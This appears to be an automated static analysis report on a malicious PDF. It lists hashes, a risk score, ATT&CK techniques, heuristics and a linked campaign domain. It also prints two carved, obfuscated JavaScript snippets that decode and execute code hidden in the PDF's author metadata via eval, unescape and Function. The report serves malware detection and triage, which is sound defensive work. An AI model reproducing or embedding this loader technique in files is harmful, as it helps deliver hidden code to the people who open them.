Malicious PDF — malware analysis report

Static analysis result for SHA-256 376806a758d40063…

MALICIOUS

PDF

13.2 KB Created: e1svrt Authoring application: Adsfgddfobe (via sfgasdfgsd) First seen: 2026-05-10
MD5: 4dcd906057c64c475078ff7e656fadda SHA-1: dcdcafe8e21b3139f64b4ea24b9a2d228c7a999a SHA-256: 376806a758d4006377a2dabcb043831a13d0f991b673b929721426f593a68d15
188 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript streams that utilize eval() and unescape() functions, indicating obfuscation and potential malicious code execution. The heuristics suggest that this JavaScript is designed to exploit PDF vulnerabilities, likely to download and execute a second-stage payload. Due to the obfuscation, the exact nature of the payload and its ultimate destination could not be determined.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    eval(unescape("function%20EN__WJ1e%28%29%7Breturn%20unescape%3B%7D%0D%0Aperc%3D%22%25%22%3B%0D%0Adogma%3Dthis.info.autor%3B"));
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
🗂 Part of campaign: 2iii.org 14 samples

Related samples 4

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0015_000.js pdf-javascript-stream PDF /JS object 15 at offset 0x14F 251 bytes
SHA-256: 9d70141af3a822acccc264ef07edff74fb35057902ba021de6dd368c8575e640
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/
eval(unescape("function%20EN__WJ1e%28%29%7Breturn%20unescape%3B%7D%0D%0Aperc%3D%22%25%22%3B%0D%0Adogma%3Dthis.info.autor%3B"));
/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/
javascript_obj0017_001.js pdf-javascript-stream PDF /JS object 17 at offset 0x3193 269 bytes
SHA-256: eb38f21f9bedfa692973d5040fa72403c33e1b7416e5315eba9178a06cc6f506
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/
Function(EN__WJ1e()((dogma.replace(/827363518888                      0932188888888888888                       00000000000000000000/g, perc))))();
/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/

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